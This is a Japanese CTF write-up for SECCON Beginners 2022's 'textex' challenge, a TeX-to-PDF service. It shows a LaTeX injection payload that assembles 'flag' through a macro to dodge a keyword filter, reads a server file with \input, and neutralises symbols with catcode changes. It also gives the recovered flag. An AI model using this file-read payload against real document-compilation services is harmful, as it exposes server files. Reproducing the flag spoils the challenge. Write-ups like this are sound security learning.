[SECCON Beginners CTF 2022] textex

texをpdfにするサービスを作りました。
texで攻撃することはできますか?

サイトにアクセスするとLaTeXのエディタが表示され、toPDFを押すとPDF出力されたファイルが得られる。
ただし、コンパイルに失敗した場合にはラーメンの画像が得られる。
また、TeXファイルの内容にflagという文字列を含んでいた場合は中身を全て削除される。

TeXにはマクロという機能があるため、flagという文字列は以下のようなマクロを使うことで簡単に生成できる。

\newcommand{\combination}[2]{#1#2}
\combination{fla}{g}

また外部ファイルの内容は\inputを用いることで取得することが出来る。
なので一見次のコードでフラグが取れるように思える(実際ローカルのテスト環境では動く)

\documentclass{article}
\newcommand{\combination}[2]{#1#2}
\begin{document}

\input{\combination{fla}{g}}

\end{document}

しかし、問題サーバにこれを投げられてもラーメンをプレゼントされる。
ラーメンが提供される場合は

  • flagを含む場合
  • コンパイルに失敗した場合

のどちらかであるため、flagファイルを読んだ結果としてLaTeXがsyntaxエラーを起こしたと考えられる。

なので、記号を可能な限りエスケープした上で同じようなコードを投げる

\documentclass{article}
\newcommand{\combination}[2]{#1#2}
\catcode`\$=12
\catcode`\&=12
\catcode`\_=12
\catcode`\|=12
\catcode`\^=12
\catcode`\~=12

\begin{document}
\input{\combination{fla}{g}}

\end{document}

すると以下のような出力がえられる

ctf4b15˙73x˙pr0n0unc3d˙ch0u?

このうち{ }はフラグの書式から補完できる。
また、TeXでは_が正常に表示できないため途中の˙_であると推測できる。

ctf4b{15_73x_pr0n0unc3d_ch0u?}

この問題に取り組んでる時間帯が夜だったので、唐突なラーメン飯テロにキレそうになりました。